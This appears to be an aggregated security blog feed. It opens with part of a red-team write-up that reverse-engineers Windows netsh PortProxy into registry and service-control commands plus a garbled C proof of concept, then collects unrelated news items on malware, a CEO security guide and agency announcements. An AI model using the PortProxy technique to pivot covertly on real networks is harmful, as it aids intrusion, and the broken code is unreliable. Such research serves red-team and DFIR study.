The first thing to do (after googling) when we have to play with something in Windows is to take a look at ReactOS and Wine projects (usually both are a goldmine) but this time we were unlucky:

#include "wine/debug.h"


int __cdecl wmain(int argc, WCHAR *argv[])
    int i;

    for (i = 0; i < argc; i++)
        WINE_FIXME(" %s", wine_dbgstr_w(argv[i]));

    return 0;

So let’s try to execute netsh and take a look at it with Process Monitor:

Netsh setting a registry value
Netsh setting a registry value.

In Process Monitor the only thing that is related to “PortProxy” is the creation of a value with the forwarding info (source an destination) inside the key HKLM\SYSTEM\ControlSet001\Services\PortProxy\v4tov4\tcp. If we google this key we can find a lot of articles talking about DFIR and how this key can be used to detect this particular TTP in forensic analysis (for example: Port Proxy detection - How can we see port proxy configurations in DFIR?).

If we create manually this registry value nothing happens, so we need something more to trigger the proxy creation. What are we missing? Well, that question is easy to answer. Let’s see what happened with our previous netsh execution with TCPView:

svchost and iphlpsvc reference
Svchost and iphlpsvc reference.

As we can see iphlpsvc (IP Helper Service) is in charge to create the “portproxy”. So netsh should “contact” this service in order to trigger the proxy creation, but how is this done? We should open iphlpsvc.dll inside Binary Ninja and look for references to “PortProxy”. (Spoiler: it is using the paramchange control code, so we can trigger it with sc easily)

Reference to a registry key with 'PortProxy' word inside
Reference to a registry key with 'PortProxy' word inside

We have a hit with a registry key similar to the one that we were looking for…

Function chunk that references the registry key found
Function chunk that references the registry key found

…so we can start the old and dirty game of following the call cascade (cross-reference party!) until we reach something really interesting (Note: OnConfigChange is a function renamed by us):

String with the words ServiceHandler and SERVICE_CONTROL_PARAMCHANGE
String with the words ServiceHandler and SERVICE_CONTROL_PARAMCHANGE

We got it! If a paramchange control code arrives to the iphlpsvc, it is going to read again the PortProxy configuration from the registry and act according to the info retrieved.

We can translate netsh PortProxy into the creation of a registry key and then sending a paramchange control code to the IP Helper service, or in other words we can execute these commands:

reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PortProxy\v4tov4\tcp /t REG_SZ /v /d
sc control iphlpsvc paramchange
reg delete HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PortProxy\v4tov4 /f 

From stone to steel

It’s time to translate our commands into a shitty PoC in C:

// PortProxy PoC
// @TheXC3LL

#include <Windows.h>
#include <stdio.h>

DWORD iphlpsvcUpdate(void) {
	SC_HANDLE hManager;
	SC_HANDLE hService;
	SERVICE_STATUS serviceStatus;
	DWORD retStatus = 0;
	DWORD ret = -1;

	hManager = OpenSCManagerA(NULL, NULL, GENERIC_READ);
	if (hManager) {
		hService = OpenServiceA(hManager, "IpHlpSvc", SERVICE_PAUSE_CONTINUE | SERVICE_QUERY_STATUS);
		if (hService) {
			printf("[*] Connected to IpHlpSvc\n");
			retStatus = ControlService(hService, SERVICE_CONTROL_PARAMCHANGE, &serviceStatus);
			if (retStatus) {
				printf("[*] Configuration update requested\n");
				ret = 0;
			else {
				printf("[!] ControlService() failed!\n");
			return ret;
		printf("[!] OpenServiceA() failed!\n");
		return ret;
	printf("[!] OpenSCManager() failed!\n");
	return ret;

DWORD addEntry(LPSTR source, LPSTR destination) {
	LPCSTR v4tov4 = "SYSTEM\\ControlSet001\\Services\\PortProxy\\v4tov4\\tcp";
	HKEY hKey = NULL;
	LSTATUS retStatus = 0;
	DWORD ret = -1;
	if (retStatus == ERROR_SUCCESS) {
		retStatus = (RegSetValueExA(hKey, source, 0, REG_SZ, (LPBYTE)destination, strlen(destination) + 1));
		if (retStatus == ERROR_SUCCESS) {
			printf("[*] New entry added\n");
			ret = 0;
		else {
			printf("[!] RegSetValueExA() failed!\n");
		return ret;
	printf("[!] RegCreateKeyExA() failed!\n");
	return ret;

DWORD deleteEntry(LPSTR source) {
	LPCSTR v4tov4 = "SYSTEM\\ControlSet001\\Services\\PortProxy\\v4tov4\\tcp";
	HKEY hKey = NULL;
	LSTATUS retStatus = 0;
	DWORD ret = -1;

	if (retStatus == ERROR_SUCCESS) {
		retStatus = RegDeleteKeyValueA(HKEY_LOCAL_MACHINE, v4tov4, source);
		if (retStatus == ERROR_SUCCESS) {
			printf("[*] New entry deleted\n");
			ret = 0;
		else {
			printf("[!] RegDeleteKeyValueA() failed!\n");
		return ret;
	printf("[!] RegCreateKeyExA() failed!\n");
	return ret;

int main(int argc, char** argv) {
	printf("\t\t-=<[ PortProxy PoC by @TheXC3LL ]>=-\n\n");
	if (argc <= 2) {
		printf("[!] Invalid syntax! Usage: PortProxy.exe SOURCE_IP/PORT DESTINATION_IP/PORT (example: ./PortProxy.exe\n");
	if (addEntry(argv[1], argv[2]) != -1) {
		if (iphlpsvcUpdate() == -1) {
			printf("[!] Something went wrong :S\n");
		if (deleteEntry(argv[1]) == -1) {
				printf("[!] Troubles deleting the entry, please try it manually!!\n");
	return 0;

Fire in the hole!

Proof of Concept working like a charm
Proof of Concept working like a charm


As we stated at the beginning this short article is not about “netsh” or the “PortProxy” functionality. We aim higher: we want to encourage you to stop using commands blindly and to start to dig inside what is doing your machine. Explore and learn the internals of everything you do on an red team operation or a pentest.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

CEO-Level Guide to Prevent Data Hacking Technologies & Incidents

11 June 2021 at 19:26

The current era, where all data is digital, the threats of fraud, breach and data sprawl are more of a reality than ever.

In these times, organizations not only take a hit because of the breached data and cyber threats, but also are heavily fined under global privacy regulations. These privacy regulations are in place to encourage security operations within organizations to protect their data from malicious intent.

Not only on a monetary level but the damage this does to a company’s reputation can negatively affect the organization’s capacity to continue business with suppliers and clients due to a lack of trust. This leaves uncertainty and a possible collapse within the organization. Shareholders are now demanding that the information security should be dealt with by the upper management and CEOs should be held accountable for the data  security measures.

Given all these points, this article will talk about five most important things any CEO should know regarding their organization’s data security.

1. Know the scope of your data inventory

The first step towards security is knowing what kind of data is present within your system. The first step towards this is to create a comprehensive data inventory of the company’s data. The next step is to organize this data into data sets that clearly define content, licenses and sources of data, as well as other information regarding the data.

It is important to remember that outdated softwares and hardware components leave a backdoor threat into your system for hackers just as new additions present unknown vulnerabilities. To curb this risk, the CEO must implement an IT asset management policy that can be used as a guide in future company audits. This makes follow ups with the IT team more to the point and stays away from vague answers.

2. Know the data inventory chain

A CEO does not need to know every technical detail that goes into his system, but it is crucial that he/she knows how to direct the ones who are charged with this responsibility. In order to do that, there needs to be a working data inventory policy. Once this inventory is compiled the following questions should be addressed:

  • What data do you store?
  • Where in the system is it stored?
  • Who has access and levels of sharing?
  • Why do you need certain data?

Organizations store critical data such as IPs (Intellectual property) and PII within their system. This data should be clearly identified because if exposed, they provide the easiest route for hackers into the company’s database. This makes it paramount that the critical data is securely stored, preferably in segmented storage in a trusted network with restricted access.

3. How well is your system protection implemented?

A CEO should be well-versed with how the IT team is securing the data within the organization.Ask pertinent questions from your IT team to reinforce the efficacy of the measures taken and how prepared your organization is for hostile incidents.

The problem here lies with the constant evolution of attacks and hackers, which is why the CEO should have a proactive approach rather than a reactive approach. This means ongoing evaluation of internal security capacity with the goal of updating wherever and whenever necessary.

Gerard Stokes says, “One worrying thing for any CEO is that it generally takes about 200 days from breach to discovery and a further 60 days after to mitigate the invasion fully. That is practically nine months the company’s crucial data is in unauthorized hands!’’

A CEO should plan ahead to mitigate any risks before they even occur. This means being active 24/7, using only trusted resources for your business needs and outsource data to trusted partners.

4. Audit your security systems

A major step towards a reliable security system is the continuous testing of the system’s efficacy. Following are some key points that a CEO must take into account when running a internal system audit

  • A CEO should ask for regular network reports, to assess the information collected in normal usage to isolate and deal with anomalies that could be pointers to a potential threat. These reports can help you understand internal functions of the business which can lead to better management decisions
  • Out of data softwares and hardwares can be prone to breach. Make sure your hardware and software assets are operating within the recommended lifecycle.
  • Frequently review your asset inventory to monitor what needs to be decommissioned.
  • Upgrade your hardware and network software to achieve efficient operation with current software versions.
  • Ask your employees to use a VPN, antivirus and other necessary tools to ensure digital privacy.
  • Implement alternative measures to act as a cushion against sudden attacks and possible disruption. 
  • Train employees on the proper use of resources to avoid unintended security breaches.

5. Assess your risk exposure

Cyberwarfare is an inevitable truth and a CEO must be prepared beforehand in order to mitigate the damage. Implementing a preemptive approach towards security is advised but there should also be a contingency plan should the organization be met with an attack. A CEO can focus on the following points when preparing a cybersecurity risk assessment.

  • Itemize likely cyber threats to your company in regard to the type of business activities engaged in. 
  • Analyze vulnerabilities in both internal and external systems. 
  • Evaluate the likelihood of a breach and quantify the damage.
  • Stay prepared with continuous assessment of threat vectors to preempt hostile invasion.


No data is safe from a cyberattack. In the digital era, a cyberattack is an eventuality rather than a possibility. In these times, it is important for senior decision makers to implement preemptive measures to mitigate the threat as much as possible, as well as contingency plans in case the organization is met with a cyberattack. You can not prevent your organization from a cyberattack, but  you can save it from a devastating end. A CEO should be the torch bearer in this fight against cyber threats and protect their organization from a catastrophic result.

About the author: Anas Baig

With a passion for working on disruptive products, Anas Baig is currently working as a Product Lead at the Silicon Valley based company – He holds a degree of Computer Science from Iqra University and specializes in Information Security & Data Privacy.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, cyber threats)

The post CEO-Level Guide to Prevent Data Hacking Technologies & Incidents appeared first on Security Affairs.

Threat Roundup for June 4 to June 11

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between June 4 and June 11. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics,...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Italy announced its Cybersecurity Agency

11 June 2021 at 17:42

Italy announced the creation of the national cybersecurity agency, a move aimed at increase the level of cyber security of its infrastructure

The Italian government has announced the creation of a new agency focused on cybersecurity, Prime Minister Mario Draghi provided its strong commitment to the creation of the agency that is tasked to protect the country and its infrastructure from cyber threats.

The news was announced yesterday, the new agency was approved during a cabinet meeting and represents an important step in the process of enhancing the resilience of the country to cyber threats and improve the information sharing on cyber threats with EU members and western allies.

[The new agency] will “protect national interests and the resilience of services and essential functions of the State from cyber threats,” read a statement released by the Italian government.

Draghi already expressed concerns about the cyber security posture of the country and urged the adoption of countermeasures against cyber threats.

“We need to strengthen ourselves, we need to strengthen ourselves a lot, especially in terms of cybersecurity, all of us, at national level and at EU level… because the level of [Russian] interference both with spies and with manipulation of the web has become truly alarming,” Draghi said at the end of May following a European Union summit.

The new Italian cybersecurity agency will develop and implement cyber strategies to prevent, monitor, detect and mitigate cyber attacks, and increase the level of cyber security of the country’ infrastructures.

The cybersecurity agency will initially employ 300 experts, it will also include the national Computer Security Incident Response Team (CSIRT) and will be tasked to launch the National Centre for the Validation and Certification (CVCN).

The agency, which according to media reports will employ around 300 people, will be controlled by Draghi and his security services advisor Franco Gabrielli.

Draghi is introducing important changes in the structure of the national intelligence, in May he named Elisabetta Belloni, a career diplomat, to lead Italy’s secret services agency DIS.

Who will be the head of the new cyber agency?

According to Italian media, Roberto Baldoni, acting currently as Deputy Director General at Presidency of Ministry Council of Italy in charge of National Cybersecurity, is a possible candidate along with Nunzia Ciardi, the head of the internet police.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, cybersecurity agency)

The post Italy announced its Cybersecurity Agency appeared first on Security Affairs.

Talos Takes Ep. #56: The first security steps you should take when you return to the office

By Jon Munshaw. The latest episode of Talos Takes is available now. Download this episode and subscribe to Talos Takes using the buttons below, or visit the Talos Takes page. We started out the COVID-19 pandemic by thinking we'd be away from the office for a month — maybe two. More than 12...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Mozilla Says Google's New Ad Tech—FLoC—Doesn't Protect User Privacy

11 June 2021 at 13:14
Google's upcoming plans to replace third-party cookies with a less invasive ad targeted mechanism have a number of issues that could defeat its privacy objectives and allow for significant linkability of user behavior, possibly even identifying individual users. "FLoC is premised on a compelling idea: enable ad targeting without exposing users to risk," said Eric Rescorla, author of TLS standard

BlueCloud - Cyber Range including Velociraptor + HELK system with a Windows VM for security testing and R&D

11 June 2021 at 12:30
By: Zion3R

Cyber Range deployment of HELK and Velociraptor! Automated terraform deployment of one system running HELK + Velociraptor server with one registered Windows endpoint in Azure or AWS. A collection of Terraform and Ansible scripts that automatically (and quickly) deploys a small HELK + Velociraptor R&D lab.

Use Cases
  • EDR Testing lab
  • Penetration Testing lab
  • SIEM / Threat Hunting / DFIR / Live Response lab with HELK + Velociraptor [1, 2]
  • Data Science research with HELK server, Jupyter notebooks
  • Detection Engineering research with Mordor [3, 4]


Please see the full documentation for details and getting started with installation.

Full Documentation Site

Mysterious custom malware used to steal 1.2TB of data from million PCs

11 June 2021 at 12:17

Experts spotted a new mysterious malware that was used to collect a huge amount of data, including sensitive files, credentials, and cookies.

Researchers from NordLocker have discovered an unsecured database containing 1.2-terabyte of stolen data. Threat actors used custom malware to steal data from 3.2 million Windows systems between 2018 and 2020. The database includes 6.6 million files and 26 million credentials, 11 million unique email addresses, and 2 billion web login cookies, researchers pointed out that 22% of the web login cookies were still valid at the time of the discovery of the archive.

Cookies are a precious source of intelligence about victims’ habits and could be abused to access the person’s online accounts of the victims. 

NordLocker experts speculate the malware campaign leveraged tainted Adobe Photoshop versions, pirated games, and Windows cracking tools.

“This is a Trojan-type malware that was transmitted via email and illegal software. The software includes illegal Adobe Photoshop 2018, a Windows cracking tool, and several cracked games.” reads the report published by NordLocker. “The data was collected from 3.25 million computers. The malware stole nearly 26 million login credentials holding 1.1 million unique email addresses, 2 billion+ cookies, and 6.6 million files.”

The experts pointed out that custom malware used to amass such kind of data is very cheap, easy to find online and customizable. Multiple posts on the Dark Web advertise similar malware that is available for as little as $100.

Nearly 26 million login credentials (emails, login credentials) were stolen from almost a million websites, the data were categorized into 12 different groups based on the type of website.

The 26 million login credentials held 1.1 million unique email addresses, NordLocker found, for an array of different apps and services. These included logins for social media, online games, online marketplaces, job-search sites, consumer electronics, financial services, email services, and more.

Most of the stolen files (50%+) were text files, some of them containing software logs, passwords, personal notes, and other sensitive information. More than 1 million images have been stolen by the malware, including 696,000 .png and 224,000 .jpg files. Experts found over 650,000 Word documents and .pdf files in the archive.

custom malware

The database was discovered because a hacker group accidentally revealed its location. Experts promptly notified the cloud provider hosting the database and the data were already added to the popular data breach notification service HaveIBeenPwned to allow people to check if their data have been exposed.

The top 10 targeted apps are as follows:

  1. Google Chrome (19.4 million entries)
  2. Mozilla FireFox (3.3 million entries)
  3. Opera (2 million entries)
  4. Internet Explorer/Microsoft Edge (1.3 million entries)
  5. Chromium (1 million entries)
  6. CocCoc (451,962 entries)
  7. Outlook (111,732 entries)
  8. Yandex Browser (79,530 entries)
  9. Torch (57,427 entries)
  10. Thunderbird (42,057 entries)

How to protect your data from such kind of malware? Below a list of tips recommended by the expets:

  • Install an antivirus software;
  • Practice proper cyber hygiene;
  • Use strong passwords;
  • Download software from trusted sources;
  • Block third-party cookies;
  • Regularly clean cookies;
  • Encrypt your data;
  • Store files on an encrypted cloud;
  • Use multi-factor authentication.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, custom malware)

The post Mysterious custom malware used to steal 1.2TB of data from million PCs appeared first on Security Affairs.

Al Jazeera detected and blocked disruptive cyberattacks

11 June 2021 at 10:08

Qatari government-funded international Arabic news channel Al Jazeera announced to have blocked a series of disruptive cyberattacks aimed at its news publishing platform.

Qatari government-funded international Arabic news channel Al Jazeera announced to have blocked this week a series of cyberattacks that attempted to disrupt and take over some components of its news publishing platform.

“Al Jazeera Media Network was subjected to a series of cyber hacking attempts to penetrate some of its platforms and websites this week.” reads the press release published by Al Jazeera.

“Between June 5 and 8, 2021, Al Jazeera websites and platforms experienced continued electronic attacks aimed at accessing, disrupting, and controlling some of the news platforms. The peak of these  attacks took place on Sunday evening, June 6, prior to the screening of an episode of the documentary strand ‘Ma Khafia Atham’ (What is Hidden is Greater) entitled “In the Grip of the Resistance” on Al Jazeera Channel.”

The series of attacks was observed between June 5 and 8, 2021, with a peak of these on Sunday evening, June 6.

Al-Jazeera added that its service provider was able to detect the attacks and stop the hacking attempts.

Al Jazeera condemns these cyber attacks and affirms its right to pursue legal recourse against the perpetrators. Such attacks only increase Al Jazeera’s resolve to continue its bold and exemplary journalism.

“Al Jazeera’s service provider was able to monitor and fend off all the hacking attacks and prevent them from achieving their goal.” concludes the press release. “Al Jazeera condemns these cyber attacks and affirms its right to pursue legal recourse against the perpetrators. Such attacks only increase Al Jazeera’s resolve to continue its bold and exemplary journalism.”

In December 2020, researchers from Citizen Lab reported that at least 36 employees of the Qatari news channel were targeted in a cyber espionage campaign leveraging a zero-click iOS zero-day vulnerability to hack their iPhones.

The attackers used an exploit chain named Kismet that was part of the arsenal of the controversial Pegasus spyware that is sold by the surveillance firm NSO Group.

In June 2017, the Qatari news channel announced that all its systems were under a large-scale cyber attack. The news was spread in a statement released on social media by the broadcaster. The media reported that some viewers in the region were not able to receive the signal of the television.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking)

The post Al Jazeera detected and blocked disruptive cyberattacks appeared first on Security Affairs.